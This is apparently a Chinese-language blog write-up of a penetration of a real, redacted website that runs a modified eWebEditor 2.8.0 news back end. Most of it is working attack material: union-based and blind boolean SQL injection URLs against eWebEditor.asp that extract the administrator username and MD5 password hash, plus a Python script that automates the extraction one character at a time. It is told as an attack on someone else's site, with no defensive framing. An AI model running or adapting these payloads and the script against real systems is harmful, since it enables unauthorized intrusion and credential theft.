某网站(JSP + Access) 渗透 实例 ( eWebEditor 漏洞 )
某网站后台是用的 蓝滨新闻系统精简加强版 即如图:
可见,后台是JSP + Access,虽然这个新闻系统标题写了是安全性加强版本,但是对于这种系统我还是很感兴趣的。
根据这个系统的源代码,找这个系统的漏洞。
manage/htmledit/eWebEditor.asp
sSql = "select * from ewebeditor_style where s_name='" & sStyleName & "'" oRs.Open sSql, oConn, 0,
可以看到,这里有注入。这里用的是臭名昭著的 eWebEditor 2.8.0 最终版
如果是纯粹的eWebEditor ,那么到这里 直接上工具就行了。但是这里是魔改过的,所以,传统的注入不可以。所以需要魔改SQL语句。因为数据库是Access,破解就好麻烦啦。。
http://xxxx/news/manage/htmledit/eWebEditor.asp?id=14&style=standard%27%20union%20select%20sys_UserPass,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21%20from%20eWebEditor_System'' http://xxxx/news/manage/htmledit/eWebEditor.asp?id=14&style=standard' union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21 from eWebEditor_System http://xxxx/news/manage/htmledit/eWebEditor.asp?id=14&style=standard' and ((select top 1 asc(mid(sys_UserPass,1,1)) from eWebEditor_System)>97) union select (14),2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21 from eWebEditor_System http://xxxx/news/manage/htmledit/eWebEditor.asp?id=14&style=standard' union select * from eWebEditor_System where ((select top 1 asc(mid(sys_UserPass,1,1)) from eWebEditor_System)>97) ## 猜解出密码和用户名长度:16 根据程序可见,是纯MD5加密 http://xxxx/news/manage/htmledit/eWebEditor.asp?id=14&style=standard' union select (select (14) from eWebEditor_System where ((select top 1 len(sys_UserName) from eWebEditor_System) = 16)),2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21 from eWebEditor_System true ; ## 成功实现ASC II 表的字符匹配 ,如果报错则是不匹配 http://xxxx/news/manage/htmledit/eWebEditor.asp?id=14&style=standard' union select (select (14) from eWebEditor_System where ((select top 1 asc(sys_UserPass,1,1)) from eWebEditor_System)<97)),2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21 from eWebEditor_System http://xxxx/news/manage/htmledit/eWebEditor.asp?id=14&style=standard%27%20union%20select%20(select%20(14)%20from%20eWebEditor_System%20where%20((select%20top%201%20asc(mid(sys_UserPass,1,1))%20from%20eWebEditor_System)<66)),2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21%20from%20eWebEditor_System http://xxxx/news/manage/htmledit/eWebEditor.asp?" \ "id=14&style=standard%27%20union%20select%20(select%20(14)%20from%20eWebEditor_System%20where%20((select%20top%201%20asc(mid(sys_UserName,"+str(charNum) +",1))%20from%20eWebEditor_System)<" + str( n) + ")),2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21%20from%20eWebEditor_System
到这里,就成功可以解出系统的用户名以及密码了。但是这里是用的ASC II 表匹配。一个一个试不现实。
写个针对性Python进行注入穷举:
kn.py
#encoding:UTF-8 import requests ##定义 n:找ASCII码 n = 48 charNum = 1 allAscII = "" while charNum<=16: while 1: url = "http://xxxxxxx/news/news/manage/htmledit/eWebEditor.asp?" \ "id=14&style=standard%27%20union%20select%20(select%20(14)%20from%20eWebEditor_System%20where%20((select%20top%201%20asc(mid(sys_UserPass,"+str(charNum) +",1))%20from%20eWebEditor_System)=" + str( n) + ")),2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21%20from%20eWebEditor_System" r = requests.get(url) print("访问成功,正在访问第"+ str(charNum)+"个位置的码,尝试的ASC II 码为:" + str(n) + "获取到的长度为" + str(len(r.text))) if len(r.text) > 400: print("成功获取到第"+ str(charNum)+"个位置 的 ASC II 码!为" + str(n)) allAscII = allAscII + str(n) + "," break; n = n + 1 charNum = charNum + 1 n = 48 print(allAscII) ## 失败 长度少于400 (=317) ## 成功 长度大于400 (=12370) ## print(len(r.text))
运行:
获取了十六位的ASC II 码后,就可以根据这个表
进行转换,然后得到密码md5值